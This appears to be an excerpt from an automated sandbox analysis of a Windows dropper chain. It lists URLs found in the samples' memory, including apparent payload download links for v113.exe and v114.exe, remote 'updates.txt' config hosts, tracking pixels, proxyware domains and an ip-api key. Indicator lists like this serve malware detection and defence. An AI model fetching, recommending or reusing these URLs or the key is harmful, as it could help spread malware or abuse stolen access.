Source: a1.exe, 00000015.00000003.2995056047.0000000006F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txtk
Source: a1.exe, 00000015.00000003.2978900976.0000000003F01000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2978966276.0000000003F0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txtn
Source: Windows Updater.exe, 00000020.00000002.3561415988.00000000013C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://allroadslimit.com/updates.txt~
Source: a0.exe, 00000007.00000003.2865495919.0000000002700000.00000004.00001000.00020000.00000000.sdmp, a0.exe, 00000007.00000003.2924531348.00000000024AD000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2870256458.00000000035E0000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2919948192.000000000383B000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2920539243.00000000023CC000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2920539243.00000000023C5000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2919948192.000000000387B000.00000004.00001000.00020000.00000000.sdmp, a0.tmp, 00000008.00000003.2920539243.000000000237C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005309000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000002.3684628279.00000000052E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598Bing
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005309000.00000004.00000020.00020000.00000000.sdmp, 1922353491.exe, 00000024.00000002.3684628279.00000000052E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://axsboe-campaign.com/pixel?pmhzmq=fhoohvpn6e7i&c=5306757&pl=0x03&pb=1&px=2598Bing/jm
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: a1.exe, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: https://collect.installeranalytics.com
Source: a1.exe, 00000015.00000002.3155040941.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/
Source: a1.exe, 00000015.00000003.3150697739.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155040941.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/$;
Source: a1.exe, 00000015.00000003.3150697739.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155040941.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com//;#7%
Source: a1.exe, 00000015.00000002.3153855347.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/Nz
Source: a1.exe, 00000015.00000003.3150697739.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155040941.0000000003EBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/w;K7-
Source: a1.exe, 00000015.00000002.3153855347.0000000000FE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://collect.installeranalytics.com/zz
Source: a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3155933884.000000006A341000.00000002.00000001.01000000.0000001E.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399781622.0000000069E9C000.00000002.00000001.01000000.00000025.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000002.3558063819.0000000069EA1000.00000002.00000001.01000000.0000002A.sdmp, MSIF244.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: https://collect.installeranalytics.comhttp://collect.installeranalytics.comhttps://installeranalytic
Source: a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crl.anf.es/AC/ANFServerCA.crl0
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d157kf58cz5ccb.cloudfront.net/dcc.exe
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://digitalpulsedata.com/tos
Source: Windows Updater.exe, 00000020.00000002.3561415988.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192892684.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/
Source: Windows Updater.exe, 00000020.00000002.3561415988.00000000013C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/ns
Source: Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000002.3561415988.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192892684.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exe
Source: Windows Updater.exe, 0000001E.00000002.3180467976.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exe0
Source: Windows Updater.exe, 0000001E.00000002.3180694154.0000000001115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exeManager
Source: Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000002.3561415988.00000000013FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exea
Source: Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192892684.000000000143B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v113.exeoN_
Source: Windows Updater.exe, 0000001E.00000003.3149582220.0000000002540000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3154003216.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3155177612.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000002.3180694154.0000000001115000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3155040443.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3154744959.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3155625664.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3154640239.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3153674381.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3154059934.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3153744464.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3154914090.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3155311262.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3154831589.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3155236066.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3148054972.000000000114F000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3154273025.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3155107782.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3153854657.0000000002640000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3148083826.0000000001111000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3153906923.0000000002640000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v114.exe
Source: Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000002.3561415988.00000000013FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dl.likeasurfer.com/updates/v114.exe9
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.0000000000748000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701870636
Source: setup.tmp, 00000004.00000002.3907486788.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=170187063675
Source: setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701870636A
Source: setup.tmp, 00000004.00000002.3907486788.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701870636X
Source: setup.tmp, 00000004.00000002.3907486788.0000000000748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://false.apparelsilver.xyz/ss.php?a=3890&cc=US&t=1701870636e
Source: a1.exe, 00000015.00000003.3150882992.0000000003EA1000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000002.3154980961.0000000003EA3000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3150697739.0000000003E6E000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 0000001E.00000003.3130151114.0000000001D40000.00000004.00000800.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3158222722.0000000002070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://happybrewfriends.com/updates.txt
Source: a1.exe, 00000015.00000003.2978900976.0000000003F01000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2978966276.0000000003F0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://happybrewfriends.com/updates.txtD
Source: Windows Updater.exe, 0000001E.00000002.3180467976.0000000001090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://happybrewfriends.com/updates.txtager
Source: a1.exe, 00000015.00000003.2995056047.0000000006F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://happybrewfriends.com/updates.txtf
Source: a1.exe	String found in binary or memory: https://installeranalytics.com
Source: ZmWSzgevgt.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://legal.opera.com/eula/computers/
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://legal.opera.com/privacy/
Source: a1.exe, 00000015.00000003.2979074384.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3150882992.0000000003EA1000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2978900976.0000000003F01000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2979010850.0000000003F07000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3150697739.0000000003E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://microleaves.com/privacy-policy
Source: a1.exe, 00000015.00000003.2995056047.0000000006F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://microleaves.com/privacy-policyq
Source: a1.exe, a1.exe, 00000015.00000003.3151020123.0000000003EDE000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112568932.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2995330161.0000000003F1E000.00000004.00000020.00020000.00000000.sdmp, a1.exe, 00000015.00000003.3112127034.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://microleaves.com/terms-and-conditions
Source: a1.exe, 00000015.00000003.2978598833.0000000000FF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://microleaves.com/terms-and-conditionsVK
Source: a1.exe, 00000015.00000003.2985012788.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5BmojupButtonText_Finish&FinishManufacturerAW
Source: a1.exe, 00000015.00000003.2979384198.0000000003EEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5BmojupHE
Source: a1.exe, 00000015.00000003.3150645630.0000000001073000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5BmojupSL
Source: a1.exe, 00000015.00000002.3155766192.0000000006F32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pro.ip-api.com/json?key=IQgnKO7n5Bmojupi
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: a1.exe, 00000015.00000003.2982063095.0000000003E9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://repository.luxtrust.lu0
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://repository.tsp.zetes.com0
Source: ZmWSzgevgt.tmp, 00000002.00000003.2036525086.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000002.3913860718.00000000025CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sizestep.online/tracker/thank_you.php?trk=2598
Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: a1.exe, 00000015.00000003.2982251688.0000000003E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.certicamara.com/marco-legal0Z
Source: a1.exe, 00000015.00000003.2977076437.0000000005775000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.00000000055E0000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2977076437.0000000005440000.00000004.00001000.00020000.00000000.sdmp, a1.exe, 00000015.00000003.2980614290.0000000003EE0000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000223B000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.0000000002120000.00000004.00001000.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3410203101.000000000249D000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, MSIDA82.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: setup.tmp, 00000004.00000002.3907486788.0000000000828000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2255921065.0000000000824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/
Source: setup.tmp, 00000004.00000003.2255921065.0000000000824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/-
Source: setup.tmp, 00000004.00000002.3907486788.00000000007D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/.;
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/win/Inalstal_98220.exe
Source: setup.tmp, 00000004.00000003.2255921065.0000000000824000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.agenment.cloud/~
Source: a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/AC/ACTAS/789230
Source: a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/AC/ANFServerCA.crl0
Source: a1.exe, 00000015.00000003.2984904945.0000000003F23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.anf.es/address/)1(0&
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3923113346.00000000038CB000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.biphic.com/6X6S73Q/KLT11XW/?sub1=2598&sub2=2598
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: a1.exe, 00000015.00000003.2982100321.0000000003E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: a0.tmp, 00000008.00000003.2910112115.0000000005982000.00000004.00001000.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192932008.00000000013FF000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192856074.0000000001479000.00000004.00000020.00020000.00000000.sdmp, Windows Updater.exe, 00000020.00000003.3192483127.0000000001433000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315742163.00000000023FC000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3396748058.000000000240E000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000025AE000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3399492305.0000000002410000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3315851192.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000024D0000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3201994608.00000000027E9000.00000004.00001000.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394818785.0000000002405000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316023584.0000000002F56000.00000004.00001000.00020000.00000000.sdmp, MSIA81C.tmp.22.dr, MSIF244.tmp.22.dr, MSIF323.tmp.22.dr, System Updater.msi.34.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: expand.exe, 0000000B.00000003.2902423524.0000000002743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 1922353491.exe, 00000024.00000002.3684628279.0000000005346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSIF323.tmp.22.dr	String found in binary or memory: https://www.hulkisbulish.com/updates.txt
Source: v113.exe, 00000022.00000003.3394877707.000000000128A000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3394677460.0000000001284000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000002.3398771301.000000000128C000.00000004.00000020.00020000.00000000.sdmp, v113.exe, 00000022.00000003.3316231791.0000000001284000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hulkisbulish.com/updates.txtDjOX
Source: v113.exe, 00000022.00000003.3202780624.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hulkisbulish.com/updates.txtjieX
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.inlogbrowser.com/eula.txt
Source: setup.exe, 00000003.00000002.3908328281.00000000022A9000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 00000003.00000003.2134776313.0000000002630000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.0000000004211000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3907486788.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3926194076.00000000041FD000.00000004.00000020.00020000.00000000.sdmp, setup.tmp, 00000004.00000002.3913953749.000000000251F000.00000004.00001000.00020000.00000000.sdmp, setup.tmp, 00000004.00000003.2138422939.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.inlogbrowser.com/pp.txt
Source: ZmWSzgevgt.exe, 00000000.00000003.2032464225.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.exe, 00000000.00000003.2031907440.0000000002510000.00000004.00001000.00020000.00000000.sdmp, ZmWSzgevgt.tmp, 00000002.00000000.2034791135.0000000000401000.00000020.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.innosetup.com/
Source: MSIF323.tmp.22.dr	String found in binary or memory: https://www.marvellover.com/updates.txt
Source: v114.exe, 00000039.00000003.3419763035.000000000204F000.00000004.00000020.00020000.00000000.sdmp, v114.exe, 00000039.00000003.3419912206.0000000002056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.marvellover.com/updates.txt0
Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 1922353491.exe, 00000024.00000002.3689806009.000000000590C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
